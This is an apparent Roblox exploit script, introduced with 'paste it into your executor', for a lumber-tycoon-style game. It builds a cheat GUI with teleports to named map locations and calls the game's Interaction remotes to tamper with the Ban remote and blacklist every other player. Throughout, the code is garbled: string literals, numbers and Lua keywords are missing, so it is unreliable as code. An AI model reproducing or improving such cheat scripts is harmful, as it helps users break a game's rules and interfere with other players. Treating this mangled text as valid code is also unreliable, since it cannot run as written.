Run it
Copy the script and paste it into your executor.
Intro = .()
IntroImage = .()
_1 = .()
_2 = .()
_3 = .()
_4 = .()
_5 = .()
_6 = .()
_7 = .()
Intro.Name =
Intro.Parent = .CoreGui
IntroImage.Name =
IntroImage.Parent = Intro
IntroImage.BackgroundColor3 = .(, , )
IntroImage.BackgroundTransparency =
IntroImage.BorderColor3 = .(, , )
IntroImage.BorderSizePixel =
IntroImage.Position = .(, , , )
IntroImage.Size = .(, , , )
IntroImage.Image =
_1.Name =
_1.Parent = IntroImage
_1.BackgroundColor3 = .(, , )
_1.BackgroundTransparency =
_1.BorderSizePixel =
_1.Position = .(, , , )
_1.Size = .(, , , )
_1.Font = .Font.ArialBold
_1.FontSize = .FontSize.Size14
_1.Text =
_1.TextColor3 = .(, , )
_1.TextScaled =
_1.TextSize =
_1.TextWrapped =
_2.Name =
_2.Parent = IntroImage
_2.BackgroundColor3 = .(, , )
_2.BackgroundTransparency =
_2.BorderSizePixel =
_2.Position = .(, , , )
_2.Size = .(, , , )
_2.Font = .Font.ArialBold
_2.FontSize = .FontSize.Size14
_2.Text =
_2.TextColor3 = .(, , )
_2.TextScaled =
_2.TextSize =
_2.TextWrapped =
_3.Name =
_3.Parent = IntroImage
_3.BackgroundColor3 = .(, , )
_3.BackgroundTransparency =
_3.BorderSizePixel =
_3.Position = .(, , , )
_3.Size = .(, , , )
_3.Font = .Font.ArialBold
_3.FontSize = .FontSize.Size14
_3.Text =
_3.TextColor3 = .(, , )
_3.TextScaled =
_3.TextSize =
_3.TextWrapped =
_4.Name =
_4.Parent = IntroImage
_4.BackgroundColor3 = .(, , )
_4.BackgroundTransparency =
_4.BorderSizePixel =
_4.Position = .(, , , )
_4.Size = .(, , , )
_4.Font = .Font.ArialBold
_4.FontSize = .FontSize.Size14
_4.Text =
_4.TextColor3 = .(, , )
_4.TextScaled =
_4.TextSize =
_4.TextWrapped =
_5.Name =
_5.Parent = IntroImage
_5.BackgroundColor3 = .(, , )
_5.BackgroundTransparency =
_5.BorderSizePixel =
_5.Position = .(, , , )
_5.Size = .(, , , )
_5.Font = .Font.ArialBold
_5.FontSize = .FontSize.Size14
_5.Text =
_5.TextColor3 = .(, , )
_5.TextScaled =
_5.TextSize =
_5.TextWrapped =
_6.Name =
_6.Parent = IntroImage
_6.BackgroundColor3 = .(, , )
_6.BackgroundTransparency =
_6.BorderSizePixel =
_6.Position = .(, , , )
_6.Size = .(, , , )
_6.Font = .Font.ArialBold
_6.FontSize = .FontSize.Size14
_6.Text =
_6.TextColor3 = .(, , )
_6.TextScaled =
_6.TextSize =
_6.TextWrapped =
_7.Name =
_7.Parent = IntroImage
_7.BackgroundColor3 = .(, , )
_7.BackgroundTransparency =
_7.BorderSizePixel =
_7.Position = .(, , , )
_7.Size = .(, , , )
_7.Font = .Font.ArialBold
_7.FontSize = .FontSize.Size14
_7.Text =
_7.TextColor3 = .(, , )
_7.TextScaled =
_7.TextSize =
_7.TextWrapped =
_1.TextTransparency =
()
_2.TextTransparency =
()
_3.TextTransparency =
()
_4.TextTransparency =
()
_5.TextTransparency =
()
_6.TextTransparency =
()
_7.TextTransparency =
()
IntroImage.ImageTransparency =
()
_1.TextTransparency =
()
_2.TextTransparency =
()
_3.TextTransparency =
()
_4.TextTransparency =
()
_5.TextTransparency =
()
_6.TextTransparency =
()
_7.TextTransparency =
()
IntroImage.ImageTransparency =
()
_1.TextTransparency =
()
_2.TextTransparency =
()
_3.TextTransparency =
()
_4.TextTransparency =
()
_5.TextTransparency =
()
_6.TextTransparency =
()
_7.TextTransparency =
()
IntroImage.ImageTransparency =
()
_1.TextTransparency =
()
_2.TextTransparency =
()
_3.TextTransparency =
()
_4.TextTransparency =
()
_5.TextTransparency =
()
_6.TextTransparency =
()
_7.TextTransparency =
()
IntroImage.ImageTransparency =
()
_1.TextTransparency =
()
_2.TextTransparency =
()
_3.TextTransparency =
()
_4.TextTransparency =
()
_5.TextTransparency =
()
_6.TextTransparency =
()
_7.TextTransparency =
()
IntroImage.ImageTransparency =
()
_1.TextTransparency =
()
_2.TextTransparency =
()
_3.TextTransparency =
()
_4.TextTransparency =
()
_5.TextTransparency =
()
_6.TextTransparency =
()
_7.TextTransparency =
()
IntroImage.ImageTransparency =
()
_1.TextTransparency =
()
_2.TextTransparency =
()
_3.TextTransparency =
()
_4.TextTransparency =
()
_5.TextTransparency =
()
_6.TextTransparency =
()
_7.TextTransparency =
()
IntroImage.ImageTransparency =
()
_1.TextTransparency =
()
_2.TextTransparency =
()
_3.TextTransparency =
()
_4.TextTransparency =
()
_5.TextTransparency =
()
_6.TextTransparency =
()
_7.TextTransparency =
()
IntroImage.ImageTransparency =
()
_1.TextTransparency =
()
_2.TextTransparency =
()
_3.TextTransparency =
()
_4.TextTransparency =
()
_5.TextTransparency =
()
_6.TextTransparency =
()
_7.TextTransparency =
()
IntroImage.ImageTransparency =
()
_1.TextTransparency =
()
_2.TextTransparency =
()
_3.TextTransparency =
()
_4.TextTransparency =
()
_5.TextTransparency =
()
_6.TextTransparency =
()
_7.TextTransparency =
()
IntroImage.ImageTransparency =
()
Intro:()
()
s = .()
s.Name =
s.SoundId =
s.Volume =
s.Looped =
s.archivable =
s.Parent = .Workspace
k = .()
k.Name =
k.SoundId =
k.Volume =
k.Looped =
k.archivable =
k.Parent = .Workspace
q = .()
q.Name =
q.SoundId =
q.Volume =
q.Looped =
q.archivable =
q.Parent = .Workspace
(title,text,duration,...)
.StarterGui:(, {
Title = title;
Text = text;
Icon = ;
Duration = duration;
})
.Players.ChildAdded:((player)
(()
(,..player.Name.., )
s:()
)
()
)
.Players.ChildRemoved:((player)
(()
(,..player.Name.., )
k:()
)
()
)
(,,)
q:()
Script =
gFont =
Visi =
(text, r, g, b, font)
.StarterGui:(, {
Text = .. (Script) .. .. text;
Color = .(r, g, b);
Font = .Font[font];
FontSize = .FontSize.Size10;
})
(, ,,, (gFont))
Mouse = .Players.LocalPlayer:()
:.Interaction.Ban:()
.(, :.Interaction).Name =
Client = .ReplicatedStorage.Interaction.ClientSetListPlayer
players = .Players
i, v (players:())
v.Name ~= players.LocalPlayer.Name
Client:(players.LocalPlayer.BlacklistFolder, v, )
players.PlayerAdded:((plr)
Client:(players.LocalPlayer.BlacklistFolder, plr, )
)
:():(, {
Title = ,
Text =
})
players = :()
.Players.LocalPlayer
.StarterGui:(, {
Title = .. players.LocalPlayer.Name..,
Text = ,
Icon = ..players.LocalPlayer.Name.. .. .(,),
Duration = ,
})
WCollide =
afkactive =
CustomLocationSet =
BLOOD = .()
MainFrame = .()
ImageLabel = .()
OpenFrame = .()
Open = .()
CloseBLOOD = .()
Minimize = .()
MenuFrame = .()
MenuFramea = .()
AIntroImage = .()
AIntroImage1 = .()
BloodFrameInfo = .()
Picker = .()
AIntroImage = .()
ChangeItem = .()
CurrentItem = .()
BLOOD.Name =
BLOOD.Parent = .CoreGui
OpenFrame.Name =
OpenFrame.Parent = BLOOD
OpenFrame.BackgroundColor3 = .(, , )
OpenFrame.BorderColor3 = .(, , )
OpenFrame.Position = .(, -, , -)
OpenFrame.Size = .(, , , )
Open.Name =
Open.Parent = OpenFrame
Open.BackgroundColor3 = .(, , )
Open.BorderColor3 = .(, , )
Open.Size = .(, , , )
Open.Image =
Open.Selectable =
MainFrame.Name =
MainFrame.Parent = BLOOD
MainFrame.Active =
MainFrame.Draggable =
MainFrame.BackgroundColor3 = .(, , )
MainFrame.Position = .(, , , )
MainFrame.Selectable =
MainFrame.Size = .(, , , )
MainFrame.Visible =
ImageLabel.Name =
ImageLabel.Parent = MainFrame
ImageLabel.BackgroundColor3 = .(, , )
ImageLabel.Position = .(-, , -, )
ImageLabel.Size = .(, , , )
ImageLabel.Image =
CloseBLOOD.Name =
CloseBLOOD.Parent = MainFrame
CloseBLOOD.BackgroundColor3 = .(, , )
CloseBLOOD.BorderColor3 = .(, , )
CloseBLOOD.Position = .(, , , )
CloseBLOOD.Size = .(, , , )
CloseBLOOD.Font = .Font.Fantasy
CloseBLOOD.FontSize = .FontSize.Size18
CloseBLOOD.Text =
CloseBLOOD.TextColor3 = .(, , )
CloseBLOOD.TextScaled =
CloseBLOOD.TextWrapped =
CloseBLOOD.TextSize =
Minimize.Name =
Minimize.Parent = MainFrame
Minimize.BackgroundColor3 = .(, , )
Minimize.BorderColor3 = .(, , )
Minimize.Position = .(, , , )
Minimize.Size = .(, , , )
Minimize.Font = .Font.Fantasy
Minimize.FontSize = .FontSize.Size18
Minimize.Text =
Minimize.TextColor3 = .(, , )
Minimize.TextScaled =
Minimize.TextWrapped =
Minimize.TextSize =
MenuFrame.Name =
MenuFrame.Parent = MainFrame
MenuFrame.BackgroundColor3 = .(, , )
MenuFrame.BackgroundTransparency =
MenuFrame.BorderColor3 = .(, , )
MenuFrame.Position = .(, , , )
MenuFrame.Size = .(, , ,)
MenuFramea.Name =
MenuFramea.Parent = MainFrame
MenuFramea.BackgroundColor3 = .(, , )
MenuFramea.BackgroundTransparency =
MenuFramea.BorderColor3 = .(, , )
MenuFramea.Position = .(, , , )
MenuFramea.Size = .(, , ,)
AIntroImage.Name =
AIntroImage.Parent = MainFrame
AIntroImage.BackgroundColor3 = .(, , )
AIntroImage.BackgroundTransparency =
AIntroImage.BorderColor3 = .(, , )
AIntroImage.BorderSizePixel =
AIntroImage.Position = .(, , , )
AIntroImage.Size = .(, , , )
AIntroImage.Image =
AIntroImage.Visible =
AIntroImage1.Name =
AIntroImage1.Parent = MainFrame
AIntroImage1.BackgroundColor3 = .(, , )
AIntroImage1.BackgroundTransparency =
AIntroImage1.BorderColor3 = .(, , )
AIntroImage1.BorderSizePixel =
AIntroImage1.Position = .(, , , )
AIntroImage1.Size = .(, , , )
AIntroImage1.Image =
AIntroImage1.Visible =
BloodFrameInfo.Name =
BloodFrameInfo.Parent = MenuFrame
BloodFrameInfo.BackgroundColor3 = .(, , )
BloodFrameInfo.BackgroundTransparency =
BloodFrameInfo.Position = .(, , , )
BloodFrameInfo.Size = .(, , , )
BloodFrameInfo.Font = .Font.Fantasy
BloodFrameInfo.FontSize = .FontSize.Size14
BloodFrameInfo.Text =
BloodFrameInfo.TextColor3 = .(, , )
BloodFrameInfo.TextWrapped =
BloodFrameInfo.TextSize =
BloodFrameInfo.Visible =
(, ,,, (gFont))
Depart = .()
Depart.Name =
Depart.Parent = MainFrame
Depart.BackgroundColor3 = .(, , )
Depart.BorderColor3 = .(, , )
Depart.BorderSizePixel =
Depart.Position = .(, , , )
Depart.Size = .(, , , )
Depart.BackgroundTransparency=
Depart.Font = .Font.Fantasy
Depart.FontSize = .FontSize.Size18
Depart.Text =
Depart.TextColor3 = .(, , )
Depart.TextSize =
Depart.TextStrokeColor3 = .(, , )
Depart.TextWrapped =
.Workspace.Ferry.TimeToDeparture.Changed:(()
Depart.Text = .. .Workspace.Ferry.TimeToDeparture.Value
Depart.Text ==
()
Depart.Text =
Depart.Text = .. .Workspace.Ferry.TimeToDeparture.Value
)
ChangeItem.Name =
ChangeItem.Parent = MainFrame
ChangeItem.BackgroundColor3 = .(, , )
ChangeItem.BorderColor3 = .(, , )
ChangeItem.BorderSizePixel =
ChangeItem.Position = .(, , , -)
ChangeItem.Size = .(, , , )
ChangeItem.ZIndex =
CurrentItem.Name =
CurrentItem.Parent = ChangeItem
CurrentItem.BackgroundColor3 = .(, , )
CurrentItem.BorderColor3 = .(, , )
CurrentItem.BorderSizePixel =
CurrentItem.Position = .(, , , )
CurrentItem.Size = .(, , , )
CurrentItem.ZIndex =
CurrentItem.Image =
CurrentItem.ScaleType = .ScaleType.Crop
Picker.Name =
Picker.Parent = MainFrame
Picker.BackgroundColor3 = .(, , )
Picker.BorderColor3 = .(, , )
Picker.BorderSizePixel =
Picker.Position = .(, , , -)
Picker.Size = .(, , , )
Picker.CanvasPosition = .(,)
Picker.CanvasSize = .(, , , )
Picker.ScrollBarThickness =
Picker.VerticalScrollBarPosition = .VerticalScrollBarPosition.Left
Picker.Visible =
PlayerFrame = .()
Player1 = .()
Player2 = .()
Player3 = .()
Player4 = .()
Player5 = .()
Player6 = .()
PlyrSel = .()
TpPlayer = .()
TpBase = .()
Player = .()
Player.Name =
Player.Parent = Picker
Player.BackgroundColor3 = .(, , )
Player.BorderColor3 = .(, , )
Player.Position = .(, , , )
Player.Size = .(, , , )
Player.ZIndex =
Player.Image =
Player.ScaleType = .ScaleType.Crop
Player.MouseButton1Click:(()
CurrentItem.Image =
AIntroImage.Visible =
AIntroImage1.Visible =
)
PlayerFrame.Name =
PlayerFrame.Parent = MenuFrame
PlayerFrame.BackgroundColor3 = .(, , )
PlayerFrame.BackgroundTransparency =
PlayerFrame.BorderColor3 = .(, , )
PlayerFrame.Size = .(, , , )
PlayerFrame.Visible =
PlyrSel.Name =
PlyrSel.Parent = PlayerFrame
PlyrSel.BackgroundColor3 = .(, , )
PlyrSel.BackgroundTransparency =
PlyrSel.BorderColor3 = .(, , )
PlyrSel.Position = .(, , , )
PlyrSel.Size = .(, , , )
PlyrSel.Font = .Font.SourceSansBold
PlyrSel.FontSize = .FontSize.Size18
PlyrSel.Text =
PlyrSel.TextColor3 = .(, , )
PlyrSel.TextScaled =
PlyrSel.TextSize =
PlyrSel.TextWrapped =
Player1.Name =
Player1.Parent = PlayerFrame
Player1.BackgroundColor3 = .(, , )
Player1.BorderColor3 = .(, , )
Player1.Position = .(, , , )
Player1.Size = .(, , , )
Player1.Font = .Font.SourceSansSemibold
Player1.FontSize = .FontSize.Size18
Player1.Text =
Player1.TextColor3 = .(, , )
Player1.TextSize =
Player1.TextWrapped =
Player2.Name =
Player2.Parent = PlayerFrame
Player2.BackgroundColor3 = .(, , )
Player2.BorderColor3 = .(, , )
Player2.Position = .(, , , )
Player2.Size = .(, , , )
Player2.Font = .Font.SourceSansSemibold
Player2.FontSize = .FontSize.Size18
Player2.Text =
Player2.TextColor3 = .(, , )
Player2.TextSize =
Player2.TextWrapped =
Player3.Name =
Player3.Parent = PlayerFrame
Player3.BackgroundColor3 = .(, , )
Player3.BorderColor3 = .(, , )
Player3.Position = .(, , , )
Player3.Size = .(, , , )
Player3.Font = .Font.SourceSansSemibold
Player3.FontSize = .FontSize.Size18
Player3.Text =
Player3.TextColor3 = .(, , )
Player3.TextSize =
Player3.TextWrapped =
Player4.Name =
Player4.Parent = PlayerFrame
Player4.BackgroundColor3 = .(, , )
Player4.BorderColor3 = .(, , )
Player4.Position = .(, , , )
Player4.Size = .(, , , )
Player4.Font = .Font.SourceSansSemibold
Player4.FontSize = .FontSize.Size18
Player4.Text =
Player4.TextColor3 = .(, , )
Player4.TextSize =
Player4.TextWrapped =
Player5.Name =
Player5.Parent = PlayerFrame
Player5.BackgroundColor3 = .(, , )
Player5.BorderColor3 = .(, , )
Player5.Position = .(, , , )
Player5.Size = .(, , , )
Player5.Font = .Font.SourceSansSemibold
Player5.FontSize = .FontSize.Size18
Player5.Text =
Player5.TextColor3 = .(, , )
Player5.TextSize =
Player5.TextWrapped =
Player6.Name =
Player6.Parent = PlayerFrame
Player6.BackgroundColor3 = .(, , )
Player6.BorderColor3 = .(, , )
Player6.Position = .(, , , )
Player6.Size = .(, , , )
Player6.Font = .Font.SourceSansSemibold
Player6.FontSize = .FontSize.Size18
Player6.Text =
Player6.TextColor3 = .(, , )
Player6.TextSize =
Player6.TextWrapped =
TpPlayer.Name =
TpPlayer.Parent = PlayerFrame
TpPlayer.BackgroundColor3 = .(, , )
TpPlayer.BackgroundTransparency =
TpPlayer.BorderColor3 = .(, , )
TpPlayer.Position = .(, , , )
TpPlayer.Size = .(, , , )
TpPlayer.Font = .Font.SourceSansBold
TpPlayer.FontSize = .FontSize.Size18
TpPlayer.Text =
TpPlayer.TextColor3 = .(, , )
TpPlayer.TextScaled =
TpPlayer.TextWrapped =
TpPlayer.TextSize =
TpBase.Name =
TpBase.Parent = PlayerFrame
TpBase.BackgroundColor3 = .(, , )
TpBase.BackgroundTransparency =
TpBase.BorderColor3 = .(, , )
TpBase.Position = .(, , , )
TpBase.Size = .(, , , )
TpBase.Font = .Font.SourceSansBold
TpBase.FontSize = .FontSize.Size18
TpBase.Text =
TpBase.TextColor3 = .(, , )
TpPlayer.TextSize =
Waypoints = .()
Stranger = .()
BobsShack = .()
PlotTp = .()
BoxedCars = .()
Cave = .()
FancyFurnishings = .()
FineArtsShop = .()
LandStore = .()
LinksLogic = .()
PalmIsland = .()
SpawnPoint = .()
Swamp = .()
Volcano = .()
WoodRUs = .()
Dock = .()
Bridge = .()
EndTimes = .()
ShrineOfSight = .()
TheDen = .()
VolcanoWin = .()
SkiLodge = .()
FrostTreeArea = .()
SnowGlowTreeArea = .()
ShowLocation = .()
CustomTPPoint = .()
Teleport = .()
WayPoints = {
[] = .(, , ),
[] = .(, , ),
[] = .(, , -),
[] = .(, , -),
[] = .(, -, ),
[] = .(-, , ),
[] = .(-, , -),
[] = .(, -, -),
[] = .(, , -),
[] = .(, , -),
[] = .(, -, ),
[] = .(, , -),
[] = .(, , ),
[] = .(, , -),
[] = .(, , -),
[] = .(, -, -),
[] = .(-, , ),
[] = .(, , ),
[] = .(-, , ),
[] = .(, , ),
[] = .(, , ),
[] = .(-, -, -)
}
Teleport.Name =
Teleport.Parent = Picker
Teleport.BackgroundColor3 = .(, , )
Teleport.BorderColor3 = .(, , )
Teleport.Position = .(, , ,)
Teleport.Size = .(, , , )
Teleport.ZIndex =
Teleport.Image =
Teleport.ScaleType = .ScaleType.Crop
Teleport.MouseButton1Click:(()
CurrentItem.Image =
AIntroImage.Visible =
AIntroImage1.Visible =
)
Waypoints.Name =
Waypoints.Parent = MenuFrame
Waypoints.BackgroundColor3 = .(, , )
Waypoints.BorderColor3 = .(, , )
Waypoints.Size = .(, , , )
Waypoints.CanvasPosition = .(,)
Waypoints.CanvasSize = .(, , , )
Waypoints.Visible =
Stranger.Name =
Stranger.Parent = Waypoints
Stranger.BackgroundColor3 = .(, , )
Stranger.Position = .(, , , )
Stranger.Size = .(, , , )
Stranger.Font = .Font.Fantasy
Stranger.FontSize = .FontSize.Size18
Stranger.Text =
Stranger.TextColor3 = .(, , )
Stranger.TextSize =
Stranger.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
BobsShack.Name =
BobsShack.Parent = Waypoints
BobsShack.BackgroundColor3 = .(, , )
BobsShack.Position = .(, , , )
BobsShack.Size = .(, , , )
BobsShack.Font = .Font.Fantasy
BobsShack.FontSize = .FontSize.Size18
BobsShack.Text =
BobsShack.TextColor3 = .(, , )
BobsShack.TextSize =
BobsShack.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
PlotTp.Name =
PlotTp.Parent = Waypoints
PlotTp.BackgroundColor3 = .(, , )
PlotTp.Position = .(, , , )
PlotTp.Size = .(, , , )
PlotTp.Font = .Font.Fantasy
PlotTp.FontSize = .FontSize.Size18
PlotTp.Text =
PlotTp.TextColor3 = .(, , )
PlotTp.TextSize =
PlotTp.MouseButton1Down:(()
i,v (.Workspace.Properties:())
v.Owner.Value == .Players.LocalPlayer
.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.OriginSquare.CFrame + .(,,)
)
BoxedCars.Name =
BoxedCars.Parent = Waypoints
BoxedCars.BackgroundColor3 = .(, , )
BoxedCars.Position = .(, , , )
BoxedCars.Size = .(, , , )
BoxedCars.Font = .Font.Fantasy
BoxedCars.FontSize = .FontSize.Size18
BoxedCars.Text =
BoxedCars.TextColor3 = .(, , )
BoxedCars.TextSize =
BoxedCars.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
Cave.Name =
Cave.Parent = Waypoints
Cave.BackgroundColor3 = .(, , )
Cave.Position = .(, , , )
Cave.Size = .(, , , )
Cave.Font = .Font.Fantasy
Cave.FontSize = .FontSize.Size18
Cave.Text =
Cave.TextColor3 = .(, , )
Cave.TextSize =
Cave.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
FancyFurnishings.Name =
FancyFurnishings.Parent = Waypoints
FancyFurnishings.BackgroundColor3 = .(, , )
FancyFurnishings.Position = .(, , , )
FancyFurnishings.Size = .(, , , )
FancyFurnishings.Font = .Font.Fantasy
FancyFurnishings.FontSize = .FontSize.Size18
FancyFurnishings.Text =
FancyFurnishings.TextColor3 = .(, , )
FancyFurnishings.TextSize =
FancyFurnishings.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
FineArtsShop.Name =
FineArtsShop.Parent = Waypoints
FineArtsShop.BackgroundColor3 = .(, , )
FineArtsShop.Position = .(, , , )
FineArtsShop.Size = .(, , , )
FineArtsShop.Font = .Font.Fantasy
FineArtsShop.FontSize = .FontSize.Size18
FineArtsShop.Text =
FineArtsShop.TextColor3 = .(, , )
FineArtsShop.TextSize =
FineArtsShop.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
LandStore.Name =
LandStore.Parent = Waypoints
LandStore.BackgroundColor3 = .(, , )
LandStore.Position = .(, , , )
LandStore.Size = .(, , , )
LandStore.Font = .Font.Fantasy
LandStore.FontSize = .FontSize.Size18
LandStore.Text =
LandStore.TextColor3 = .(, , )
LandStore.TextSize =
LandStore.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
LinksLogic.Name =
LinksLogic.Parent = Waypoints
LinksLogic.BackgroundColor3 = .(, , )
LinksLogic.Position = .(, , , )
LinksLogic.Size = .(, , , )
LinksLogic.Font = .Font.Fantasy
LinksLogic.FontSize = .FontSize.Size18
LinksLogic.Text =
LinksLogic.TextColor3 = .(, , )
LinksLogic.TextSize =
LinksLogic.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
PalmIsland.Name =
PalmIsland.Parent = Waypoints
PalmIsland.BackgroundColor3 = .(, , )
PalmIsland.Position = .(, , , )
PalmIsland.Size = .(, , , )
PalmIsland.Font = .Font.Fantasy
PalmIsland.FontSize = .FontSize.Size18
PalmIsland.Text =
PalmIsland.TextColor3 = .(, , )
PalmIsland.TextSize =
PalmIsland.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
SpawnPoint.Name =
SpawnPoint.Parent = Waypoints
SpawnPoint.BackgroundColor3 = .(, , )
SpawnPoint.Position = .(, , , )
SpawnPoint.Size = .(, , , )
SpawnPoint.Font = .Font.Fantasy
SpawnPoint.FontSize = .FontSize.Size18
SpawnPoint.Text =
SpawnPoint.TextColor3 = .(, , )
SpawnPoint.TextSize =
SpawnPoint.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
Swamp.Name =
Swamp.Parent = Waypoints
Swamp.BackgroundColor3 = .(, , )
Swamp.Position = .(, , , )
Swamp.Size = .(, , , )
Swamp.Font = .Font.Fantasy
Swamp.FontSize = .FontSize.Size18
Swamp.Text =
Swamp.TextColor3 = .(, , )
Swamp.TextSize =
Swamp.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
Volcano.Name =
Volcano.Parent = Waypoints
Volcano.BackgroundColor3 = .(, , )
Volcano.Position = .(, , , )
Volcano.Size = .(, , , )
Volcano.Font = .Font.Fantasy
Volcano.FontSize = .FontSize.Size18
Volcano.Text =
Volcano.TextColor3 = .(, , )
Volcano.TextSize =
Volcano.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
WoodRUs.Name =
WoodRUs.Parent = Waypoints
WoodRUs.BackgroundColor3 = .(, , )
WoodRUs.Position = .(, , , )
WoodRUs.Size = .(, , , )
WoodRUs.Font = .Font.Fantasy
WoodRUs.FontSize = .FontSize.Size18
WoodRUs.Text =
WoodRUs.TextColor3 = .(, , )
WoodRUs.TextSize =
WoodRUs.MouseButton1Down:(()
.Players.LocalPlayer.Character:(WayPoints[])
)
Dock.Name =
Dock.Parent = Waypoints
Dock.BackgroundColor3 = .(, , )
Dock.Position = .(, , , )
Dock.Size = .(, , , )
Dock.Font = .Font.Fantasy
Dock.FontSize = .FontSize.Size18
Dock.Text =
Dock.TextColor3 = .(, , )
Dock.TextSize =
Dock.MouseButton1Down:(()
uTorso = :(.Players.LocalPlayer.Name).HumanoidRootPart
uTorso.CFrame = WayPoints[]
)
Bridge.Name =
Bridge.Parent = Waypoints
Bridge.BackgroundColor3 = .(, , )
Bridge.Position = .(, , , )
Bridge.Size = .(, , , )
Bridge.Font = .Font.Fantasy
Bridge.FontSize = .FontSize.Size18
Bridge.Text =
Bridge.TextColor3 = .(, , )
Bridge.TextSize =
Bridge.MouseButton1Down:(()
uTorso = :(.Players.LocalPlayer.Name).HumanoidRootPart
uTorso.CFrame = WayPoints[]
)
EndTimes.Name =
EndTimes.Parent = Waypoints
EndTimes.BackgroundColor3 = .(, , )
EndTimes.Position = .(, , , )
EndTimes.Size = .(, , , )
EndTimes.Font = .Font.Fantasy
EndTimes.FontSize = .FontSize.Size18
EndTimes.Text =
EndTimes.TextColor3 = .(, , )
EndTimes.TextSize =
EndTimes.MouseButton1Down:(()
uTorso = :(.Players.LocalPlayer.Name).HumanoidRootPart
uTorso.CFrame = WayPoints[]
)
ShrineOfSight.Name =
ShrineOfSight.Parent = Waypoints
ShrineOfSight.BackgroundColor3 = .(, , )
ShrineOfSight.Position = .(, , , )
ShrineOfSight.Size = .(, , , )
ShrineOfSight.Font = .Font.Fantasy
ShrineOfSight.FontSize = .FontSize.Size18
ShrineOfSight.Text =
ShrineOfSight.TextColor3 = .(, , )
ShrineOfSight.TextSize =
ShrineOfSight.MouseButton1Down:(()
uTorso = :(.Players.LocalPlayer.Name).HumanoidRootPart
uTorso.CFrame = WayPoints[]
)
TheDen.Name =
TheDen.Parent = Waypoints
TheDen.BackgroundColor3 = .(, , )
TheDen.Position = .(, , , )
TheDen.Size = .(, , , )
TheDen.Font = .Font.Fantasy
TheDen.FontSize = .FontSize.Size18
TheDen.Text =
TheDen.TextColor3 = .(, , )
TheDen.TextSize =
TheDen.MouseButton1Down:(()
uTorso = :(.Players.LocalPlayer.Name).HumanoidRootPart
uTorso.CFrame = WayPoints[]
)
VolcanoWin.Name =
VolcanoWin.Parent = Waypoints
VolcanoWin.BackgroundColor3 = .(, , )
VolcanoWin.Position = .(, , , )
VolcanoWin.Size = .(, , , )
VolcanoWin.Font = .Font.Fantasy
VolcanoWin.FontSize = .FontSize.Size18
VolcanoWin.Text =
VolcanoWin.TextColor3 = .(, , )
VolcanoWin.TextSize =
VolcanoWin.MouseButton1Down:(()
uTorso = :(.Players.LocalPlayer.Name).HumanoidRootPart
uTorso.CFrame = WayPoints[]
)
SkiLodge.Name =
SkiLodge.Parent = Waypoints
SkiLodge.BackgroundColor3 = .(, , )
SkiLodge.Position = .(, , , )
SkiLodge.Size = .(, , , )
SkiLodge.Font = .Font.Fantasy
SkiLodge.FontSize = .FontSize.Size18
SkiLodge.Text =
SkiLodge.TextColor3 = .(, , )
SkiLodge.TextSize =
SkiLodge.MouseButton1Down:(()
uTorso = :(.Players.LocalPlayer.Name).HumanoidRootPart
uTorso.CFrame = WayPoints[]
)
FrostTreeArea.Name =
FrostTreeArea.Parent = Waypoints
FrostTreeArea.BackgroundColor3 = .(, , )
FrostTreeArea.Position = .(, , , )
FrostTreeArea.Size = .(, , , )
FrostTreeArea.Font = .Font.Fantasy
FrostTreeArea.FontSize = .FontSize.Size18
FrostTreeArea.Text =
FrostTreeArea.TextColor3 = .(, , )
FrostTreeArea.TextSize =
FrostTreeArea.MouseButton1Down:(()
uTorso = :(.Players.LocalPlayer.Name).HumanoidRootPart
uTorso.CFrame = WayPoints[]
)
SnowGlowTreeArea.Name =
SnowGlowTreeArea.Parent = Waypoints
SnowGlowTreeArea.BackgroundColor3 = .(, , )
SnowGlowTreeArea.Position = .(, , , )
SnowGlowTreeArea.Size = .(, , , )
SnowGlowTreeArea.Font = .Font.Fantasy
SnowGlowTreeArea.FontSize = .FontSize.Size18
SnowGlowTreeArea.Text =
SnowGlowTreeArea.TextColor3 = .(, , )
SnowGlowTreeArea.TextSize =
SnowGlowTreeArea.MouseButton1Down:(()
uTorso = :(.Players.LocalPlayer.Name).HumanoidRootPart
uTorso.CFrame = WayPoints[]
)
ShowLocation.Name =
ShowLocation.Parent = Waypoints
ShowLocation.BackgroundColor3 = .(, , )
ShowLocation.Position = .(, , , )
ShowLocation.Size = .(, , , )
ShowLocation.Font = .Font.Fantasy
ShowLocation.FontSize = .FontSize.Size14
ShowLocation.Text =
ShowLocation.TextColor3 = .(, , )
ShowLocation.TextSize =
CustomTPPoint.Name =
CustomTPPoint.Parent = Waypoints
CustomTPPoint.BackgroundColor3 = .(, , )
CustomTPPoint.Position = .(, , , )
CustomTPPoint.Size = .(, , , )
CustomTPPoint.Font = .Font.Fantasy
CustomTPPoint.FontSize = .FontSize.Size14
CustomTPPoint.Text =
CustomTPPoint.TextColor3 = .(, , )
CustomTPPoint.TextSize =
ShowLocation.MouseButton1Down:(()
(num, numDecimalPlaces)
mult = ^(numDecimalPlaces )
.(num * mult + ) / mult
LocationX = (.Players.LocalPlayer.Character.HumanoidRootPart.Position.x, )
LocationY = (.Players.LocalPlayer.Character.HumanoidRootPart.Position.y, )
LocationZ = (.Players.LocalPlayer.Character.HumanoidRootPart.Position.z, )
ShowLocation.Text = ..LocationX....LocationY....LocationZ
CustomTPPoint.Text = ..LocationX....LocationY....LocationZ
CustomLocationSet =
)
CustomTPPoint.MouseButton1Down:(()
CustomLocationSet ==
uTorso = :(.Players.LocalPlayer.Name).HumanoidRootPart
uTorso.CFrame = .(LocationX, LocationY, LocationZ)
)
buttons = {
Player1,
Player2,
Player3,
Player4,
Player5,
Player6
}
(()
Player1.Text =
Player2.Text =
Player3.Text =
Player4.Text =
Player5.Text =
Player6.Text =
i, v (.Players:())
